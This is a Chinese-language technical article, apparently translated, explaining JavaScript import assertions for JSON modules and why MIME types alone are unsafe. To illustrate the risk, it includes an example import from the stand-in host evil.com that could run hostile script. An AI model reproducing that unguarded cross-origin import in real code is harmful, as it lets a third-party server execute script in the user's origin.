匯入聲明
全新的匯入聲明功能允許模組匯入語句在模組規範之外附加額外的信息。該功能的初始用途是啟用以JSON 模組形式匯入 JSON 文件:
// foo.json
{ "answer": 42 }
// main.mjs
import json from './foo.json' assert { type: 'json' };
console.log(json.answer); // 42
背景:JSON 模組和 MIME 類型
人們可能會問,為什麼不能簡單地如下匯入 JSON 模組:
import json from './foo.json';
在執行模組資源之前,Web 平台會檢查其 MIME 類型的有效性,理論上可以利用這個 MIME 類型來判定資源是 JSON 還是 JavaScript 模組。
但僅依賴 MIME 類型存在一個安全問題。
模組可以跨域匯入,開發人員可能會從第三方來源匯入 JSON 模組。如果 JSON 經過適當的清理,他們可能認為即使來自不受信任的第三方這也是基本安全的,因為匯入 JSON 不會執行腳本。
然而,在這種情況下,第三方腳本實際上可以執行,因為第三方伺服器可能會意外回復一個 JavaScript MIME 類型和惡意的 JavaScript 有效負載,從而在匯入者的域中執行代碼。
// 如果 evil.com 回復一個
// JavaScript MIME 類型(例如 `text/javascript`),則執行 JS!
import data from 'https://evil.com/data.json';
無法使用文件擴展名來判定模組類型,因為在 Web 上文件擴展名並非可靠的內容類型指標。因此,我們使用匯入聲明來指示預期的模組類型以防止此類特權升高的陷阱。
當開發人員想要匯入 JSON 模組時,他們必須使用匯入聲明來指定它是 JSON。如果從網路接收到的 MIME 類型與預期類型不匹配,匯入將失敗:
// 如果 evil.com 回復的不是 JSON MIME 類型,則失敗。
import data from 'https://evil.com/data.json' assert { type: 'json' };
動態 import()
匯入聲明也可以通過一個新的第二個參數傳遞給動態 import()
:
// foo.json
{ "answer": 42 }
// main.mjs
const jsonModule = await import('./foo.json', {
assert: { type: 'json' }
});
console.log(jsonModule.default.answer); // 42
JSON 內容是模組的默認匯出,因此可以通過從 import()
返回的對象的 default
屬性來引用它。
結論
目前,匯入聲明的唯一定義用途是用於指定模組類型。然而,該功能被設計為允許任意的鍵/值聲明對,因此如果未來需要以其他方式限制模組匯入,那麼可能會添加其他用途。
同時,帶有新匯入聲明語法的 JSON 模組已在 Chromium 91 中默認可用。CSS 模組腳本也即將推出,使用相同的模組類型聲明語法。